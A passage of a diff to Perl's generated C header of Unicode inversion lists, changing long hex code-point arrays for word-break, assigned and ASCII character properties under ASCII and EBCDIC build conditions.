0x12C6, + 0x12C8, + 0x12D7, + 0x12D8, + 0x1311, + 0x1312, + 0x1316, + 0x1318, + 0x135B, 0x135D, 0x1360, - 0x1712, + 0x1380, + 0x1390, + 0x13A0, + 0x13F6, + 0x13F8, + 0x13FE, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, + 0x16A0, + 0x16EB, + 0x16EE, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, 0x1715, - 0x1732, + 0x1720, 0x1735, - 0x1752, + 0x1740, 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, 0x1772, 0x1774, - 0x17B4, + 0x1780, 0x17D4, - 0x17DD, + 0x17D7, + 0x17D8, + 0x17DC, 0x17DE, + 0x17E0, + 0x17EA, 0x180B, 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, 0x1920, 0x192C, 0x1930, 0x193C, - 0x1A17, + 0x1946, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, + 0x1A00, 0x1A1C, - 0x1A55, + 0x1A20, 0x1A5F, 0x1A60, 0x1A7D, 0x1A7F, - 0x1A80, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA7, + 0x1AA8, 0x1AB0, 0x1ABF, 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, + 0x1B4C, + 0x1B50, + 0x1B5A, 0x1B6B, 0x1B74, 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, 0x1BF4, - 0x1C24, + 0x1C00, 0x1C38, + 0x1C40, + 0x1C4A, + 0x1C4D, + 0x1C7E, + 0x1C80, + 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, 0x1CF7, + 0x1CF8, 0x1CFA, - 0x1DC0, - 0x1DFA, + 0x1D00, + 0x1DF6, 0x1DFB, - 0x1E00, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FCD, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FE0, + 0x1FED, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFD, 0x200C, - 0x200D, + 0x200E, + 0x203F, + 0x2041, + 0x2054, + 0x2055, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, 0x20D0, 0x20F1, - 0x2CEF, - 0x2CF2, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2CE5, + 0x2CEB, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D70, 0x2D7F, - 0x2D80, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, 0x2DE0, 0x2E00, - 0x302A, + 0x2E2F, + 0x2E30, + 0x3005, + 0x3008, + 0x3021, 0x3030, + 0x3031, + 0x3036, + 0x3038, + 0x303D, + 0x3041, + 0x3097, 0x3099, 0x309B, - 0xA66F, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x31A0, + 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA4D0, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA62C, + 0xA640, 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, + 0xA674, + 0xA67E, + 0xA67F, + 0xA6F2, + 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xA7F7, 0xA828, + 0xA840, + 0xA874, 0xA880, - 0xA882, - 0xA8B4, 0xA8C6, + 0xA8D0, + 0xA8DA, 0xA8E0, - 0xA8F2, - 0xA926, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, 0xA92E, - 0xA947, + 0xA930, 0xA954, + 0xA960, + 0xA97D, 0xA980, - 0xA984, - 0xA9B3, 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, + 0xA9CF, + 0xA9DA, + 0xA9E0, + 0xA9FF, + 0xAA00, 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, + 0xAA40, 0xAA4E, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, + 0xAA50, + 0xAA5A, + 0xAA60, + 0xAA77, + 0xAA7A, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, 0xAAF0, - 0xAAF5, + 0xAAF2, 0xAAF7, - 0xABE3, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, + 0xAB5B, + 0xAB5C, + 0xAB66, + 0xAB70, 0xABEB, 0xABEC, 0xABEE, - 0xFB1E, - 0xFB1F, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBB2, + 0xFBD3, + 0xFD3E, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFC, 0xFE00, 0xFE10, 0xFE20, 0xFE30, - 0xFF9E, - 0xFFA0, + 0xFE33, + 0xFE35, + 0xFE4D, + 0xFE50, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF3B, + 0xFF3F, + 0xFF40, + 0xFF41, + 0xFF5B, + 0xFF66, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10140, + 0x10175, 0x101FD, 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, 0x102E0, 0x102E1, - 0x10376, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, 0x1037B, - 0x10A01, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, + 0x10877, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, 0x10A04, 0x10A05, 0x10A07, 0x10A0C, - 0x10A10, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, 0x10A38, 0x10A3B, 0x10A3F, 0x10A40, - 0x10AE5, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, + 0x10AC8, + 0x10AC9, 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, 0x11000, - 0x11003, - 0x11038, 0x11047, + 0x11066, + 0x11070, 0x1107F, - 0x11083, - 0x110B0, 0x110BB, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, 0x11100, - 0x11103, - 0x11127, 0x11135, - 0x11173, + 0x11136, + 0x11140, + 0x11150, 0x11174, + 0x11176, + 0x11177, 0x11180, - 0x11183, - 0x111B3, - 0x111C1, + 0x111C5, 0x111CA, 0x111CD, - 0x1122C, + 0x111D0, + 0x111DB, + 0x111DC, + 0x111DD, + 0x11200, + 0x11212, + 0x11213, 0x11238, 0x1123E, 0x1123F, - 0x112DF, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112B0, 0x112EB, + 0x112F0, + 0x112FA, 0x11300, 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, 0x1133C, - 0x1133D, - 0x1133E, 0x11345, 0x11347, 0x11349, 0x1134B, 0x1134E, + 0x11350, + 0x11351, 0x11357, 0x11358, - 0x11362, + 0x1135D, 0x11364, 0x11366, 0x1136D, 0x11370, 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, + 0x11400, + 0x1144B, + 0x11450, + 0x1145A, + 0x11480, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, 0x115B6, 0x115B8, 0x115C1, - 0x115DC, + 0x115D8, 0x115DE, - 0x11630, + 0x11600, 0x11641, - 0x116AB, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, 0x1171D, 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11C2F, + 0x11730, + 0x1173A, + 0x118A0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, 0x11C37, 0x11C38, - 0x11C40, + 0x11C41, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, 0x11C92, 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16AD0, + 0x16AEE, 0x16AF0, 0x16AF5, - 0x16B30, + 0x16B00, 0x16B37, - 0x16F51, + 0x16B40, + 0x16B44, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, 0x16F7F, 0x16F8F, - 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, 0x1BC9D, 0x1BC9F, 0x1D165, @@ -352595,6 +63176,68 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0x1D1AE, 0x1D242, 0x1D245, + 0x1D400, + 0x1D455, + 0x1D456, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D6A6, + 0x1D6A8, + 0x1D6C1, + 0x1D6C2, + 0x1D6DB, + 0x1D6DC, + 0x1D6FB, + 0x1D6FC, + 0x1D715, + 0x1D716, + 0x1D735, + 0x1D736, + 0x1D74F, + 0x1D750, + 0x1D76F, + 0x1D770, + 0x1D789, + 0x1D78A, + 0x1D7A9, + 0x1D7AA, + 0x1D7C3, + 0x1D7C4, + 0x1D7CC, + 0x1D7CE, + 0x1D800, 0x1DA00, 0x1DA37, 0x1DA3B, @@ -352617,348 +63260,251 @@ static const UV PL_WB__EXTEND_invlist[] = { /* for all charsets */ 0x1E025, 0x1E026, 0x1E02B, + 0x1E800, + 0x1E8C5, 0x1E8D0, 0x1E8D7, - 0x1E944, + 0x1E900, 0x1E94B, - 0xE0020, - 0xE0080, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, 0xE0100, 0xE01F0 }; -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__FO_invlist[] = { /* for ASCII/Latin1 */ - 35, /* Number of elements */ +static const UV XPosixXDigit_invlist[] = { /* for EBCDIC 1047 */ + 13, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0xAD, - 0xAE, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002 + 0x81, + 0x87, + 0xC1, + 0xC7, + 0xF0, + 0xFA, + 0xFF10, + 0xFF1A, + 0xFF21, + 0xFF27, + 0xFF41, + 0xFF47 }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__FO_invlist[] = { /* for EBCDIC 1047 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002 -}; +#endif /* defined(PERL_IN_PERL_C) */ -# endif /* EBCDIC 1047 */ +#endif /* EBCDIC 1047 */ -# if 'A' == 193 /* EBCDIC 037 */ \ +#if 'A' == 193 /* EBCDIC 037 */ \ && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ && '$' == 91 && '@' == 124 && '`' == 121 -static const UV PL_WB__FO_invlist[] = { /* for EBCDIC 037 */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x600, - 0x606, - 0x61C, - 0x61D, - 0x6DD, - 0x6DE, - 0x70F, - 0x710, - 0x8E2, - 0x8E3, - 0x180E, - 0x180F, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x110BD, - 0x110BE, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0001, - 0xE0002 -}; - -# endif /* EBCDIC 037 */ +#if defined(PERL_IN_PERL_C) -static const UV PL_WB__GAZ_invlist[] = { /* for all charsets */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x2708, - 0x2709, - 0x2764, - 0x2765, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F48B, - 0x1F48C, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F5E8, - 0x1F5E9, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693 -}; - -static const UV PL_WB__KA_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ +static const UV ASCII_invlist[] = { /* for EBCDIC 037 */ + 56, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x3031, - 0x3036, - 0x309B, - 0x309D, - 0x30A0, - 0x30FB, - 0x30FC, - 0x3100, - 0x31F0, - 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0xFF66, - 0xFF9E, - 0x1B000, - 0x1B001 + 0x4, + 0x5, + 0x6, + 0x7, + 0x8, + 0xB, + 0x14, + 0x16, + 0x17, + 0x18, + 0x1A, + 0x1C, + 0x20, + 0x25, + 0x28, + 0x2D, + 0x30, + 0x32, + 0x33, + 0x37, + 0x38, + 0x3C, + 0x3E, + 0x3F, + 0x41, + 0x4B, + 0x51, + 0x5A, + 0x5F, + 0x60, + 0x62, + 0x6B, + 0x70, + 0x79, + 0x80, + 0x81, + 0x8A, + 0x91, + 0x9A, + 0xA1, + 0xAA, + 0xB0, + 0xB1, + 0xBA, + 0xBC, + 0xC0, + 0xCA, + 0xD0, + 0xDA, + 0xE0, + 0xE1, + 0xE2, + 0xEA, + 0xF0, + 0xFA }; -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ - 1015, /* Number of elements */ +static const UV Assigned_invlist[] = { /* for EBCDIC 037 */ + 1276, /* Number of elements */ 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; + 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2D8, - 0x2DE, - 0x2E5, - 0x2EC, - 0x300, - 0x370, - 0x375, - 0x376, 0x378, 0x37A, - 0x37E, - 0x37F, 0x380, - 0x386, - 0x387, - 0x388, + 0x384, 0x38B, 0x38C, 0x38D, 0x38E, 0x3A2, 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, 0x530, 0x531, 0x557, 0x559, - 0x55A, + 0x560, 0x561, 0x588, - 0x5F3, - 0x5F4, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, 0x74D, - 0x7A6, - 0x7B1, 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, + 0x7C0, 0x7FB, 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, + 0x82E, + 0x830, + 0x83F, 0x840, - 0x859, - 0x860, - 0x86B, + 0x85C, + 0x85E, + 0x85F, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, + 0x8D4, + 0x984, 0x985, 0x98D, 0x98F, @@ -352971,18 +63517,22 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, 0x9CF, + 0x9D7, + 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, + 0x9E4, + 0x9E6, 0x9FC, - 0x9FD, + 0xA01, + 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -352997,12 +63547,24 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xA37, 0xA38, 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA72, - 0xA75, + 0xA66, + 0xA76, + 0xA81, + 0xA84, 0xA85, 0xA8E, 0xA8F, @@ -353015,14 +63577,22 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xAB4, 0xAB5, 0xABA, - 0xABD, - 0xABE, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, 0xAD0, 0xAD1, 0xAE0, - 0xAE2, + 0xAE4, + 0xAE6, + 0xAF2, 0xAF9, 0xAFA, + 0xB01, + 0xB04, 0xB05, 0xB0D, 0xB0F, @@ -353035,15 +63605,21 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xB34, 0xB35, 0xB3A, - 0xB3D, - 0xB3E, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, 0xB5C, 0xB5E, 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, + 0xB64, + 0xB66, + 0xB78, + 0xB82, 0xB84, 0xB85, 0xB8B, @@ -353063,8 +63639,20 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xBAB, 0xBAE, 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, 0xBD0, 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBFB, + 0xC00, + 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -353074,13 +63662,21 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xC2A, 0xC3A, 0xC3D, - 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, 0xC58, 0xC5B, 0xC60, - 0xC62, - 0xC80, - 0xC81, + 0xC64, + 0xC66, + 0xC70, + 0xC78, + 0xC84, 0xC85, 0xC8D, 0xC8E, @@ -353091,14 +63687,24 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBD, - 0xCBE, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, 0xCDE, 0xCDF, 0xCE0, - 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, 0xCF1, 0xCF3, + 0xD01, + 0xD04, 0xD05, 0xD0D, 0xD0E, @@ -353106,15 +63712,17 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xD12, 0xD3B, 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD50, 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, + 0xD64, + 0xD66, 0xD80, + 0xD82, + 0xD84, 0xD85, 0xD97, 0xD9A, @@ -353125,23 +63733,77 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0xDBE, 0xDC0, 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF5, + 0xE01, + 0xE3B, + 0xE3F, + 0xE5C, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, 0xF00, - 0xF01, - 0xF40, 0xF48, 0xF49, 0xF6D, - 0xF88, - 0xF8D, - 0x10A0, + 0xF71, + 0xF98, + 0xF99, + 0xFBD, + 0xFBE, + 0xFCD, + 0xFCE, + 0xFDB, + 0x1000, 0x10C6, 0x10C7, 0x10C8, 0x10CD, 0x10CE, 0x10D0, - 0x10FB, - 0x10FC, 0x1249, 0x124A, 0x124E, @@ -353173,72 +63835,996 @@ static const UV PL_WB__LE_invlist[] = { /* for ASCII/Latin1 */ 0x1316, 0x1318, 0x135B, + 0x135D, + 0x137D, 0x1380, - 0x1390, + 0x139A, 0x13A0, 0x13F6, 0x13F8, 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, + 0x1400, + 0x169D, 0x16A0, - 0x16EB, - 0x16EE, 0x16F9, 0x1700, 0x170D, 0x170E, - 0x1712, + 0x1715, 